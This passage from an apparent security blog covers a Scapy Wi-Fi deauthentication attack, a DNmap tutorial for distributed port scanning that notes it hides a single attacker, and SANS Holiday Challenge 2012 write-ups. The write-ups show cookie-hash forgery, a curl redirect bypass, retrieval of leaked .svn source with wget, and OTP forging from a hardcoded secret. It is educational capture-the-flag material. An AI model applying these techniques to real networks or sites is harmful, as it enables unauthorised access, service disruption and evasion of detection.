<br />
As a quick side note, you will note in airoscapy.py that the channel can be found by looking at the third Dot11Elt layer of the packet, and performing both the ord() and int() functions on it. This was a clever insight, and I wanted to make particular note of it. We can verify this from the following Wireshark capture of a beacon frame from our raidersec AP:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWpkzZ3g6jR-1l2SJA1moDo5kTgv3d8kvQST9N66qBaTO8UtluzEkv44EfVdOl93OvU0j1Vp5RzNIlU6OkVZQszc_2jTdbc69rQj7TqHQfOm1CVRlTopX0FSw2-BFjTFOB_ZmVPgTSdA/s1600/channel_beacon_wireshark.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="167" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWpkzZ3g6jR-1l2SJA1moDo5kTgv3d8kvQST9N66qBaTO8UtluzEkv44EfVdOl93OvU0j1Vp5RzNIlU6OkVZQszc_2jTdbc69rQj7TqHQfOm1CVRlTopX0FSw2-BFjTFOB_ZmVPgTSdA/s640/channel_beacon_wireshark.PNG" width="640" /></a></div>
<br />
<br />
Here is the code to sniff for access points:<br />
<br />
<script src="https://gist.github.com/jordan-wright/4576966.js?file=sniff_aps.py"></script>
It's important to mention that this code implements Scapy sniff() function's "stop_filter" parameter, which was introduced in version 2.1.1. As of this writing, the version included in Backtrack is 2.0.1, so if you are using Backtrack, you will need to upgrade (or just <a href="http://hg.secdev.org/scapy/diff/253e15b8a97c/scapy/sendrecv.py">patch your sendrecv.py file</a>). Using this callback may seem somewhat unnecessary, but it will help in a big project I'm currently working on (and will release sometime soon! ).<br />
<br />
Let's take a look at the output:<br />
<br />
<script src="https://gist.github.com/jordan-wright/4576966.js?file=sniff-output"></script>
Nice. Now that we have a dictionary containing our BSSIDs, ESSIDs, and channels, let's add the ability to perform a deauth_attack() function will take in our dictionary entry for a particular BSSID as well as an optional client MAC address (for targeted attacks) and perform a deauth attack. We will use Scapy's layered packet construction to make our deauth packet and send it using the send() function. Let's first take a look at the perform_deauth() function:<br />
<br />
<script src="https://gist.github.com/jordan-wright/4576966.js?file=perform_deauth.py"></script>
Now, here's the code we'll tack on to our main program flow to call the perform_deauth() function after getting relevant information from the user:<br />
<br />
<script src="https://gist.github.com/jordan-wright/4576966.js?file=add_to_main.py"></script>
Finally, let's run it and see the output:<br />
<br />
<script src="https://gist.github.com/jordan-wright/4576966.js?file=final-output"></script>
Worked like a charm! It disconnected all clients on the raidersec WLAN. You can find the full source <a href="https://gist.github.com/raw/4576966/4591a64fcad42fe8aff239e3319e5949fef95d59/sniff-aps-complete.py" target="_blank">here</a>.<br />
<br />
Scapy is an extremely powerful tool. By leveraging its packet sniffing and injecting capabilities, we can replicate many attacks on wireless infrastructure. I hope you enjoyed learning a little more about what Scapy has to offer, and as always don't hesitate to leave a comment below to let me know what you think!<br />
<br />
-Jordan</div>Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com8tag:blogger.com,1999:blog-33242194251147061.post-31074534829810967322013-01-10T19:00:00.000-06:002013-02-05T15:36:32.398-06:00Distributed Port Scanning: Creating an Nmap Cluster Using DNmap<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1Z-gTzFx42IHqbza8bM8uFuhEy-Kptndr5wYRYamIF7QzBocjnDcPIJ1zoa1-OoaBprIX-nKX3DacAVzHRxn03QitZidjOBQZuc3eDjNofLkAT0u3LlLLiWiN-xDmrC8jaIKOuES6rw/s1600/logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="208" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1Z-gTzFx42IHqbza8bM8uFuhEy-Kptndr5wYRYamIF7QzBocjnDcPIJ1zoa1-OoaBprIX-nKX3DacAVzHRxn03QitZidjOBQZuc3eDjNofLkAT0u3LlLLiWiN-xDmrC8jaIKOuES6rw/s320/logo.png" style="border-color: transparent;" width="320" /></a></div>
<span style="font-size: large;">Introduction</span><br />
<br />
When performing a security engagement, the information gathered from port scanning is crucial. However, these scans can take a substantial amount of time when we set a reasonable timeout in an attempt to be thorough. So what happens when we need to scan a large amount of hosts? Say, <a href="http://resources.infosecinstitute.com/measuring-the-internet/" target="_blank">an entire continent</a>? We need to find a way to distribute the bandwidth load to multiple hosts in parallel. Fortunately, a tool has been developed which will allow us to create and manage a cluster of hosts which each have its own bandwidth dedicated to port scanning.<br />
<br />
<a name='more'></a><br />
<span style="font-size: large;">What is DNmap?</span><br />
<br />
Created by Sebastian Garcia in 2009 using the <a href="https://twistedmatrix.com/trac/" target="_blank">Twisted</a> Python framework, <a href="http://sourceforge.net/projects/dnmap/" target="_blank">DNmap</a> provides the ability to create a distributed <a href="http://nmap.org/" target="_blank">Nmap</a> scanning network using a standard client-server architecture. DNmap is included by default in Backtrack, and can be installed easily on any system that has Python.<br />
<br />
<b><i><span style="color: orange;">Note: Before you install and run DNmap, keep in mind that clients will execute any Nmap command given to them. DNmap was not designed to completely prevent abuse from the server host, so ensure that you trust the server you connect to!</span></i></b><br />
<br />
<span style="font-size: large;">Installing DNmap</span><br />
<br />
DNmap requires Nmap, Python 2.7, and the following libraries to be installed:\<br />
<br />
<ul>
<li>python-twisted</li>
<li>python-openssl</li>
</ul>
<div>
Though DNmap comes installed by default in Backtrack, here's how to install it in a Debian based system (in this case, Ubuntu):<br />
<script src="https://gist.github.com/jordan-wright/4490393.js?file=gistfile1.txt"></script>
From here, all files are in the dnmap_v0.6/ directory.<br />
<br />
<span style="font-size: large;">DNmap Usage and Example</span><br />
<br />
The DNmap architecture looks like the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj2hz1meNhkIwCyrjJf5WCxEWKP2_wQSltts24nBKAH2a_KgC_dRP4snha23mvX0wVrtKOTvWtI7pH1f7t65ybjVGKcPd22I8Mb6edE0NuwIi6j3FiJaa6mnbxK9dTYEvytf4etUcgAQ/s1600/dnmap_architecture.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj2hz1meNhkIwCyrjJf5WCxEWKP2_wQSltts24nBKAH2a_KgC_dRP4snha23mvX0wVrtKOTvWtI7pH1f7t65ybjVGKcPd22I8Mb6edE0NuwIi6j3FiJaa6mnbxK9dTYEvytf4etUcgAQ/s640/dnmap_architecture.png" style="border-color: transparent;" width="640" /></a></div>
<br />
For our example, we will consider the following topology:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPq5t-h6iF42TpNHiNOjJ3CJmqtZyMR7q5971DPzynMaYfMQ_azftKReeJnxPr6GhQglqc8CPkVYbXL3sYtu7QFrw_WBzVj0n-Dwqmvx8IXFxNxFw_kNKBWo9G8Vv8enD3Qm6i5gce9g/s1600/topology.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="186" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPq5t-h6iF42TpNHiNOjJ3CJmqtZyMR7q5971DPzynMaYfMQ_azftKReeJnxPr6GhQglqc8CPkVYbXL3sYtu7QFrw_WBzVj0n-Dwqmvx8IXFxNxFw_kNKBWo9G8Vv8enD3Qm6i5gce9g/s400/topology.png" style="border-color: transparent;" width="400" /></a></div>
<br />
As with any client/server architecture, we first need to setup the server. Let's take a look at the dnmap_server.py usage:<br />
<br />
<script src="https://gist.github.com/jordan-wright/4490393.js?file=dnmap_server%20usage"></script>
As you can see, the server requires a file containing our Nmap commands to run. Let's use the following file called "commands.txt":<br />
<script src="https://gist.github.com/jordan-wright/4490393.js?file=commands"></script>
To show the ability to schedule multiple jobs, we add multiple Nmap commands to our file. Since we only have one target host, we are simply going to split up the port ranges between jobs. If we had more than one client in our cluster, these jobs would be distributed among the hosts, and it would be difficult for the target host administrator to tell that one attacker was behind the port scan.<br />
<br />
So, with our Nmap commands file in place, let's start up the server:<br />
<script src="https://gist.github.com/jordan-wright/4490393.js?file=dnmap_server_running"></script>
With our server started up and waiting for clients, let's take a quick look at the dnmap_client.py usage:<br />
<script src="https://gist.github.com/jordan-wright/4490393.js?file=dnmap_client_usage"></script>
It looks like all we need to provide is a server address, port number, and an alias (or name) for our client. Let's call our client "minion1", connect to the server, and start running commands.<br />
<script src="https://gist.github.com/jordan-wright/4490393.js?file=dnmap_client_running"></script>
Back on the server, we see the following status:<br />
<script src="https://gist.github.com/jordan-wright/4490393.js?file=server_client_connected"></script>
It looks like all of the commands have completed. The results by default are stored in a folder called nmap_results/. We can see that the results have indeed been sent back to our server.<br />
<br />
Hopefully this short tutorial helped show the usage and helpfulness of distributing Nmap commands across multiple clients using DNmap. It's also important to note that you can always create multiple servers to host multiple clients.<br />
<br />
A big thanks goes out to Sebastian for taking the time to create such a helpful tool. As always, if you ever have any questions or comments, let me know below!<br />
<br />
- Jordan</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com4tag:blogger.com,1999:blog-33242194251147061.post-1976759917106626442013-01-07T00:03:00.003-06:002013-01-07T00:03:43.971-06:00SANS Holiday Challenge 2012 Zone 5 Writeup<span style="font-size: large;">Zone 5</span><br />
<br />
<b><i>Heat Miser</i></b><br />
<b><i><br /></i></b>
The last zone we need to gain access to is Zone 5 for Heat Miser. Connecting to the URL we found in the <a href="http://raidersec.blogspot.com/2013/01/sans-holiday-challenge-2012-zone-4.html" target="_blank">previous post</a>, we are presented with the following:<br />
<br />
<a name='more'></a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAX709ri8sIt16X9UBLFLRoMtdEsBrbRMvT8Ig9i6KZfdG6hpEdsoV4yN9O4784E2HHa0wTKwWDxS3BRrQ6Swspy-EU3XihgNeThyphenhyphenp-2einVA6tPCC1Ta4EWq1SlU0VY4NadnfgG8dzA/s1600/heat_zone5_denied.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="336" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAX709ri8sIt16X9UBLFLRoMtdEsBrbRMvT8Ig9i6KZfdG6hpEdsoV4yN9O4784E2HHa0wTKwWDxS3BRrQ6Swspy-EU3XihgNeThyphenhyphenp-2einVA6tPCC1Ta4EWq1SlU0VY4NadnfgG8dzA/s640/heat_zone5_denied.PNG" width="640" /></a></div>
<br />
We know that there must be something that determines whether or not we are authenticated to this zone, and from experience we could assume that a cookie would hold this information. However, if we did not previously know this, we could use the hint provided on Snow Miser's Twitter profile:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUzaYHeEGtwJJK8EZmrLwaS3X2VTHlf22AFj9Oyi5X6VNKyrc3xzeX0B39DjnXN3L5ELGoV79Zr0BzW3IYvTvz2qPTtPeIdACnOlCe43PZ2TgOZsMKVPhggu_5uEQwEIKDw24MWVlp_g/s1600/snow_cookie_tweet.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUzaYHeEGtwJJK8EZmrLwaS3X2VTHlf22AFj9Oyi5X6VNKyrc3xzeX0B39DjnXN3L5ELGoV79Zr0BzW3IYvTvz2qPTtPeIdACnOlCe43PZ2TgOZsMKVPhggu_5uEQwEIKDw24MWVlp_g/s1600/snow_cookie_tweet.PNG" /></a></div>
<br />
Using this information, we see the following cookie in use when we visit the page:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnOlhj7M-8zDEFi7mKLdFXdiZ6EOsVHhJpB5R4jOSHiTrD86blYaRE-SoyRgU2gx7NObZC1DTCGJ_ZF47NqZu5iwBQ5uVYvtQB94Q78o0ghoIR7DKVChZ0IrqJuNdoc1gby0yK3l08ew/s1600/heat_zone5_cookie.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="336" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnOlhj7M-8zDEFi7mKLdFXdiZ6EOsVHhJpB5R4jOSHiTrD86blYaRE-SoyRgU2gx7NObZC1DTCGJ_ZF47NqZu5iwBQ5uVYvtQB94Q78o0ghoIR7DKVChZ0IrqJuNdoc1gby0yK3l08ew/s640/heat_zone5_cookie.PNG" width="640" /></a></div>
<br />
The cookie appears to be a hash of something, but what? In this case, Google is our friend. Pasting the hash into Google tells us that this is indeed an MD5 hash for "1001". We can deduce that this means our current UID is 1001, meaning that we are not an administrative user. Let's therefore change this hash to be the MD5 hash of an authenticated user. After a bit of trial and error (trying "1000", "0", and finally "1"), we find that if we use the hash "c4ca4238a0b923820dcc509a6f75849b" - which is the MD5 hash of "1" - we are presented with access to Zone 5:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNSO-O4uJXw_Qn4Y11qGBw6QDA2zpzUlHOKMNle6A3ciD5l4oZbAI6WzTfsjMuGxNOXwmVHVB2N_ll0KZ69UmVfc-omO0golXnChek-tS7obmj2xGn_9K9Eyni6iyHRnpbhgdKg0kgGA/s1600/heat_zone5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="318" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNSO-O4uJXw_Qn4Y11qGBw6QDA2zpzUlHOKMNle6A3ciD5l4oZbAI6WzTfsjMuGxNOXwmVHVB2N_ll0KZ69UmVfc-omO0golXnChek-tS7obmj2xGn_9K9Eyni6iyHRnpbhgdKg0kgGA/s640/heat_zone5.PNG" width="640" /></a></div>
<br />
With this, we have now completed all of the challenges and have finished the contest! This challenge took about 2 hours to complete, and provided a nice distraction from semester finals. Thanks again to the guys and gals over at SANS for putting this contest on!<br />
<br />
As always, please don't hesitate to leave comments or suggestions below. Solve this Zone a different way? Let me know!<br />
<br />
- JordanJordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com0tag:blogger.com,1999:blog-33242194251147061.post-63361041551786162142013-01-07T00:03:00.002-06:002013-01-07T00:03:28.626-06:00SANS Holiday Challenge 2012 Zone 4 Writeup<span style="font-size: large;">Zone 4</span><br />
<br />
We can use the URLs obtained in the <a href="http://raidersec.blogspot.com/2013/01/sans-holiday-challenge-2012-zone-3.html" target="_blank">previous post</a> to access Zone 4 for both Snow and Heat Miser.<br />
<br />
<a name='more'></a><br />
<b><i>Heat Miser</i></b><br />
<br />
During our previous post, we were simply given the URL to Zone 4, with the assurance that there are mechanisms in place preventing us from accessing the page. By visiting the link, we are presented with the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik4jEV8VRYqkH493KEszs2obovv2Aa15t9JzWzXuUZDK1LUmtd_123Tlwyld9YxqpgdO-fapYCkBnyYQfNDHuaqZ5TSAmoitkuowzDoBQDLIkH_1I7UOFtIgejOMGCfKLG5LaFMXNtpw/s1600/heat_zone4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="334" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik4jEV8VRYqkH493KEszs2obovv2Aa15t9JzWzXuUZDK1LUmtd_123Tlwyld9YxqpgdO-fapYCkBnyYQfNDHuaqZ5TSAmoitkuowzDoBQDLIkH_1I7UOFtIgejOMGCfKLG5LaFMXNtpw/s640/heat_zone4.PNG" width="640" /></a></div>
<br />
...Well that's a bummer. Looking around, there doesn't appear to be any place for us to control input, or any obvious vulnerabilities, so let's take a closer look at what's going on. Connecting to the link again, we can see the following requests being made:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAgVKLKSqBAvtUdOUy4bpybDI09tMXC6ZK46-eoyGgmasRY05YeCjijqkuxjJkkRIi7Z9tgn1H-iscuB54uYEPPK5pGg3KRvYQqRWsefV_t05oSIdnaFCTjkVB4CHpKn-0uJTNE74SXQ/s1600/location_header.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="232" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAgVKLKSqBAvtUdOUy4bpybDI09tMXC6ZK46-eoyGgmasRY05YeCjijqkuxjJkkRIi7Z9tgn1H-iscuB54uYEPPK5pGg3KRvYQqRWsefV_t05oSIdnaFCTjkVB4CHpKn-0uJTNE74SXQ/s640/location_header.PNG" width="640" /></a></div>
<br />
We can see that we make a first request to the given URL, and then are given a 302 Redirect with a Location header for a response. However, there is an issue when issuing a Location header with PHP, that is mentioned in the <a href="http://php.net/manual/en/function.header.php" target="_blank">documentation</a>. Consider the following example (mostly taken from the documentation):<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> <?php
header("Location: http://www.example.com/"); /* Redirect browser */
/* The code below will execute */
echo "This code will execute";
give_admin_access();
?>
</code></pre>
<br />
Turns out, even though the "header()" function is called, and the appropriate header is sent to the browser, the code below <i>will still execute</i>. The browser can simply ignore this header, and still view the result of the code being executed. The solution to this is for the code to call the "exit()" function after sending the header.<br />
<br />
However, how can we ignore the header that is sent? We can use the popular tool cURL to set the maximum redirects to 0, and we will be able to exploit this condition.<br />
<br />
<pre style="background-color: #222222; background-position: initial initial; background-repeat: initial initial; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><span style="color: orange;"><code style="word-wrap: normal;"> </code><code style="word-wrap: normal;">root@bt:~# curl --max-redirs 0 http://heatmiser.counterhack.com/zone-4-0F2EA639-19BF-40DD-A38D-635E1344C02B/</code></span><code style="color: white; word-wrap: normal;">
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-type" content="text/html; charset=UTF-8" />
<meta http-equiv="Content-Language" content="en-us" />
<title>Heat Miser Wonderwarm HMI for the Global Heat Control System - Zone 4 </title>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta name="copyright" content="" />
<link type="text/css" href="/css/reset.css" rel="stylesheet" media="scre en" />
<link type="text/css" href="/css/style.css" rel="stylesheet" media="scre en" />
</head>
<body>
<div id="container">
<div id="header"><div id="title">
<a href='/'><img src="/images/logo.png" alt="Heat Miser HMI" width="250" height="100" /></a>
</div>
</div>
<div id="sidebar">
<div class="sidebox">
<span class="stitle">Navigation</span>
<div id="navigation">
<div class="sidenav">
<div class="navhead_blank">
<span><a href="/" class="menu">Home</a></span>
</div>
<div class="navhead">
<span>Zone</span>
</div>
<div class="subnav">
<ul class="submenu">
<li><a href="/zone-0-0AD9934A-8081-462B-8364 -9ADBFE963E91/" class="menu">Readonly</a></li>
<li><a href='/zone-1-E919DBF1-E4FA-4141-97C4 -3F38693D2161/' class="menu">Zone 1</a></li>
<li><a href='/zone-2-761EBBCF-099F-4DB0-B63F -9ADC61825D49/' class="menu">Zone 2</a></li>
<li><a href='/zone-3-83FEE8BE-B1C6-4395-A56A -BF933FC85254/' class="menu">Zone 3</a></li>
<li><a href='/zone-4-0F2EA639-19BF-40DD-A38D -635E1344C02B/' class="menu">Zone 4</a></li>
<li><a title='Link Removed for Security' cla ss="menu">Zone 5 - Southtown, USA</a></li>
</ul>
<a href='http://www.counterhackc hallenges.com' target='_blank'><img src='/images/chclogo-vert-hot.png' alt='Coun ter Hack Challenges, LLC.' /></a>
</div>
</div>
</div>
</div>
</div>
<div id="main">
<div id="content">
<h2>Heat Miser Wonderwarm HMI for the Gl obal Heat Control System</h2>
<h1>Zone 4 Controller</h1>
<h3></code><code style="word-wrap: normal;"><span style="color: yellow;"><p>Current Access Level - <strong>Zone 4</strong></p ></h3>
Link to <a href="/zone-5-15614E3A-CEA7-4A28-A85A-D688CC418287/">Zone 5</a></span></code><code style="color: white; word-wrap: normal;">
<table>
<tr>
<td><h3>Heater for Zone 4:</h3></td>
<td><form method="get"><input type="subm it" name="machine" id="machine" value="Enable" class="navhead" /></form></td>
<td><form method="get"><input type="subm it" name="machine" id="machine" value="Disable" class="navhead" /></form></td>
<!-- If you are looking for some super s ecret code or database that stores your game state, good luck, it doesn't exist -->
<td width="55%"></td>
</tr>
<tr>
<td colspan="4">
<img src="on.png" />
</td>
</tr>
</table>
<!-- The flag for this level is e3ae414e6d428c3b0c7cff03 783e305f -->
</div>
</div>
</body>
</html>
</code></pre>
<br />
Using this method, we are able to ignore the 302 redirect, and retrieve the password for the last zone.<br />
<br />
<b><i>Snow Miser</i></b><br />
<b><i><br /></i></b>
Connecting to Zone 4 for Snow Miser, we are presented with the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLN7VgkkrGoplWxSe6MT0vkN5P_G4MDVhwMYQPJbV_R1Qm0yJYWC9GuyFohSpcbvr4a-MkMp4eEBYVWanDjJL3OO-GG0nf4QSrzKfOMBOgGG6VjwCKLPqn6xyP3wHDR5vhCex_njCfCQ/s1600/snow_zone4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="342" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLN7VgkkrGoplWxSe6MT0vkN5P_G4MDVhwMYQPJbV_R1Qm0yJYWC9GuyFohSpcbvr4a-MkMp4eEBYVWanDjJL3OO-GG0nf4QSrzKfOMBOgGG6VjwCKLPqn6xyP3wHDR5vhCex_njCfCQ/s640/snow_zone4.PNG" width="640" /></a></div>
<br />
The description in this zone says that Snow Miser's workers "are updating the code using svn 1.7 and have implemented One-Time-Password (OTP) functionality to access Zone 5. The passwords are in SHA1 format, so they are unguessable."<br />
<br />
We can find a great hint on how to tackle this challenge from Heat Miser's Twitter profile:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSHtFna_W3rwypraCKEBxwGYH4X_LwDLxVX6gprfK3ITpxwImydP6tU-Wm7Kbsm6Xa-8Rh4GsyK0UcCtH5dCjIKKT8ygQnCEAprVWm8OUcPl8IA_XAg510IaHF-XfeM870Ys-hT2sj5w/s1600/svn_tweet.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSHtFna_W3rwypraCKEBxwGYH4X_LwDLxVX6gprfK3ITpxwImydP6tU-Wm7Kbsm6Xa-8Rh4GsyK0UcCtH5dCjIKKT8ygQnCEAprVWm8OUcPl8IA_XAg510IaHF-XfeM870Ys-hT2sj5w/s1600/svn_tweet.PNG" /></a></div>
<br />
We can find the mentioned blog post <a href="http://pen-testing.sans.org/blog/pen-testing/2012/12/06/all-your-svn-are-belong-to-us" target="_blank">here</a>. Let's follow the steps outlined in the post, and then see if we can automate the process for later.<br />
<br />
<pre style="background-color: #222222; background-position: initial initial; background-repeat: initial initial; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> </code><code style="word-wrap: normal;"><span style="color: orange;">root@bt:~# sqlite3 wc.db 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;'</span></code><code style="color: white; word-wrap: normal;">
|
noaccess.php|.svn/pristine/41/4134e0e954d144ed932fd639b5a897f9ad47fff9.svn-base
index.php|.svn/pristine/7d/7d63810b0da679648fc20b4f1c84680ac08ec872.svn-base
</code><code style="word-wrap: normal;"><span style="color: orange;"> root@bt:~# wget -O - http://snowmiser.counterhack.com/zone-5-89DE9B26-CF7D-4B07-88DE-7A2F0A7B16FE/.svn/pristine/7d/7d63810b0da679648fc20b4f1c84680ac08ec872.svn-base</span></code><code style="color: white; word-wrap: normal;">
--2012-12-10 08:17:57-- http://snowmiser.counterhack.com/zone-5-89DE9B26-CF7D-4B07-88DE-7A2F0A7B16FE/.svn/pristine/7d/7d63810b0da679648fc20b4f1c84680ac08ec872.svn-base
Resolving snowmiser.counterhack.com... 204.51.94.72
Connecting to snowmiser.counterhack.com|204.51.94.72|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 951 [text/plain]
Saving to: `STDOUT'
0% [ ] 0 --.-K/s <?php
function generate_otp($time) {
$pass = sha1("$time 7998f77a7dc74f182a76219d7ee58db38be3841c");
return($pass);
}
function verify_otp($inpass) {
// passwords are valid for up to 3 minutes
// don't forget to use the server time (see the noaccess.php page)
$validstamps = array(
date('Y-m-d H:i', strtotime('+1 minute')), // added just in case the time sync is off
date('Y-m-d H:i'),
date('Y-m-d H:i', strtotime('-1 minute')),
date('Y-m-d H:i', strtotime('-2 minute')),
);
foreach ($validstamps as $stamp) {
if (strtolower($inpass) == generate_otp($stamp))
return TRUE;
}
return FALSE;
}
if ((array_key_exists('otp', $_POST) && verify_otp($_POST['otp'])) || (array_key_exists('otp', $_COOKIE) && verify_otp($_COOKIE['otp']))) {
setcookie('otp', generate_otp(date('Y-m-d H:i')));
} else {
header( 'Location: noaccess.php' );
die();
}
$accessallowed = TRUE;
$zone=5;
require_once('../include/template.inc.php');
?>
</code></pre>
<br />
Sure enough, we are able to download the <i>wc.db</i> file and extract the location of the index.php file. From here, we can download and view the source of the file. Analyzing the PHP file, it appears as though the file does the following:<br />
<br />
<ul>
<li>If we either send a POST request with an 'otp' parameter, and the verify_otp() function with that parameter returns true OR we have a cookie with an 'otp' parameter set, and the verify_otp() function with that parameter returns true:</li>
<ul>
<li>A new OTP is generated, and a cookie is set</li>
</ul>
<li>Else, we are denied access</li>
</ul>
<div>
But what should the 'otp' parameter contain? Let's analyze the verify_otp() function:</div>
<div>
<br />
<ul>
<li>We start by generating an array of valid timestamps, which contains the current time, +1 minute, and -2 minutes as a buffer.</li>
<li>Then, for each value in this array</li>
<ul>
<li>We call the generate_otp() function with the value and compare it to our value</li>
<ul>
<li>If they match, we return True and exit</li>
<li>Else, we move on (eventually returning false if no match is found)</li>
</ul>
</ul>
</ul>
<div>
So, in a nutshell, we need to find a way to generate a proper otp. The generate_otp() function takes a time argument and creates a SHA1 hash from the time followed by a space, and a long alpha-numeric string. </div>
<div>
<br /></div>
<div>
Therefore, if we can obtain the current time, generate our own SHA1 hash to get the OTP, and send that as a POST parameter, we will be granted access. I had previously obtained the current time from the "Access Denied" page. Then, the following allowed me to create the OTP:</div>
<div>
<br /></div>
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> root@bt:~# php5
<?php
echo sha1('2012-12-10 19:02' . ' 7998f77a7dc74f182a76219d7ee58db38be3841c');
?>
a2dc207f343db2659b83a2a83d46848587d15f6e
</code></pre>
<div>
<br /></div>
</div>
<div>
Using this value as the OTP results in the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnxkUsYvLKMMZuyJq4-SZB2Tfl9-IX2IPzcBCCgHPtt3ihLTwBSucS8FaDt5kAirROGceINJZRKIzuogw1U8o6u9WaqNXeadCgID9uwS-ZXfnYhinLzXH1OB0AU66Y3IwEGTBJtS7HYA/s1600/snow_zone5.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="348" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnxkUsYvLKMMZuyJq4-SZB2Tfl9-IX2IPzcBCCgHPtt3ihLTwBSucS8FaDt5kAirROGceINJZRKIzuogw1U8o6u9WaqNXeadCgID9uwS-ZXfnYhinLzXH1OB0AU66Y3IwEGTBJtS7HYA/s640/snow_zone5.PNG" width="640" /></a></div>
<br />
By performing these steps, we have successfully gained access to Snow Miser's Zone 5. Since there is nothing left to do for Snow Miser, the next post will only cover gaining access to Heat Miser's Zone 5.<br />
<br />
Almost done!<br />
<br />
As always, please don't hesitate to leave comments or suggestions below. Solve this Zone a different way? Let me know!<br />
<br />
- Jordan</div>
